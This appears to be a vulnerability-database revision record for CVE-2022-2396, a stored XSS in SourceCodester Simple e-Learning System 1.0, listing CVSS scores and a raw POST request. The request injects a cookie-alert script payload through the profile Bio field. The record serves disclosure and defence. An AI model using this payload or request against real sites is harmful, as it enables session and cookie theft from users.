Campo | 2022-07-13 09:14 | 2022-07-23 08:48 | 2022-07-23 08:53 |
---|
cvss3_vuldb_rc | R | R | R |
url | https://github.com/CyberThoth/CVE/blob/83c243538386cd0761025f85eb747eab7cae5c21/CVE/Simple%20e-Learning%20System/Cross%20Site%20Scripting(Stored)/POC.md | https://github.com/CyberThoth/CVE/blob/83c243538386cd0761025f85eb747eab7cae5c21/CVE/Simple%20e-Learning%20System/Cross%20Site%20Scripting(Stored)/POC.md | https://github.com/CyberThoth/CVE/blob/83c243538386cd0761025f85eb747eab7cae5c21/CVE/Simple%20e-Learning%20System/Cross%20Site%20Scripting(Stored)/POC.md |
availability | 1 | 1 | 1 |
publicity | 1 | 1 | 1 |
url | https://github.com/CyberThoth/CVE/blob/83c243538386cd0761025f85eb747eab7cae5c21/CVE/Simple%20e-Learning%20System/Cross%20Site%20Scripting(Stored)/POC.md | https://github.com/CyberThoth/CVE/blob/83c243538386cd0761025f85eb747eab7cae5c21/CVE/Simple%20e-Learning%20System/Cross%20Site%20Scripting(Stored)/POC.md | https://github.com/CyberThoth/CVE/blob/83c243538386cd0761025f85eb747eab7cae5c21/CVE/Simple%20e-Learning%20System/Cross%20Site%20Scripting(Stored)/POC.md |
cve | CVE-2022-2396 | CVE-2022-2396 | CVE-2022-2396 |
responsible | VulDB | VulDB | VulDB |
date | 1657663200 (2022-07-13) | 1657663200 (2022-07-13) | 1657663200 (2022-07-13) |
type | Learning Management Software | Learning Management Software | Learning Management Software |
cvss2_vuldb_av | N | N | N |
cvss2_vuldb_ac | L | L | L |
cvss2_vuldb_ci | N | N | N |
cvss2_vuldb_ii | P | P | P |
cvss2_vuldb_ai | N | N | N |
cvss2_vuldb_e | POC | POC | POC |
cvss2_vuldb_rc | UR | UR | UR |
cvss2_vuldb_au | S | S | S |
cvss2_vuldb_rl | ND | ND | ND |
cvss3_vuldb_pr | L | L | L |
cvss3_vuldb_rl | X | X | X |
cvss2_vuldb_basescore | 4.0 | 4.0 | 4.0 |
cvss2_vuldb_tempscore | 3.4 | 3.4 | 3.4 |
cvss3_vuldb_basescore | 3.5 | 3.5 | 3.5 |
cvss3_vuldb_tempscore | 3.2 | 3.2 | 3.2 |
cvss3_meta_basescore | 3.5 | 3.5 | 4.1 |
cvss3_meta_tempscore | 3.2 | 3.2 | 4.0 |
price_0day | $0-$5k | $0-$5k | $0-$5k |
vendor | SourceCodester | SourceCodester | SourceCodester |
name | Simple e-Learning System | Simple e-Learning System | Simple e-Learning System |
version | 1.0 | 1.0 | 1.0 |
file | /vcs/claire_blake | /vcs/claire_blake | /vcs/claire_blake |
argument | Bio | Bio | Bio |
cwe | 79 (cross site scripting) | 79 (cross site scripting) | 79 (cross site scripting) |
risk | 1 | 1 | 1 |
cvss3_vuldb_av | N | N | N |
cvss3_vuldb_ac | L | L | L |
cvss3_vuldb_ui | R | R | R |
cvss3_vuldb_s | U | U | U |
cvss3_vuldb_c | N | N | N |
cvss3_vuldb_i | L | L | L |
cvss3_vuldb_a | N | N | N |
cvss3_vuldb_e | P | P | P |
input_value | "><script>alert(document.cookie)</script> | "><script>alert(document.cookie)</script> | "><script>alert(document.cookie)</script> |
sourcecode | POST /vcs/claire_blake HTTP/1.1
Host: localhost
Content-Length: 143
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/vcs/claire_blake
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=2vbf8fv8l1iaabtd45grgqt809
Connection: close
firstName=Claire&lastName=Blake&phoneNumber=2147483647&bio=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&profile-updateBtn=Update | POST /vcs/claire_blake HTTP/1.1
Host: localhost
Content-Length: 143
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/vcs/claire_blake
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=2vbf8fv8l1iaabtd45grgqt809
Connection: close
firstName=Claire&lastName=Blake&phoneNumber=2147483647&bio=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&profile-updateBtn=Update | POST /vcs/claire_blake HTTP/1.1
Host: localhost
Content-Length: 143
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/vcs/claire_blake
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=2vbf8fv8l1iaabtd45grgqt809
Connection: close
firstName=Claire&lastName=Blake&phoneNumber=2147483647&bio=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&profile-updateBtn=Update |
cve_assigned | | 1657663200 (2022-07-13) | 1657663200 (2022-07-13) |
cve_nvd_summary | | A vulnerability classified as problematic was found in SourceCodester Simple e-Learning System 1.0. Affected by this vulnerability is an unknown functionality of the file /vcs/claire_blake. The manipulation of the argument Bio with the input ">alert(document.cookie) leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. | A vulnerability classified as problematic was found in SourceCodester Simple e-Learning System 1.0. Affected by this vulnerability is an unknown functionality of the file /vcs/claire_blake. The manipulation of the argument Bio with the input ">alert(document.cookie) leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. |
cvss3_nvd_av | | | N |
cvss3_nvd_ac | | | L |
cvss3_nvd_pr | | | L |
cvss3_nvd_ui | | | R |
cvss3_nvd_s | | | C |
cvss3_nvd_c | | | L |
cvss3_nvd_i | | | L |
cvss3_nvd_a | | | N |
cvss3_cna_av | | | N |
cvss3_cna_ac | | | L |
cvss3_cna_pr | | | L |
cvss3_cna_ui | | | R |
cvss3_cna_s | | | U |
cvss3_cna_c | | | N |
cvss3_cna_i | | | L |
cvss3_cna_a | | | N |
cve_cna | | | VulDB |
cvss3_nvd_basescore | | | 5.4 |
cvss3_cna_basescore | | | 3.5 |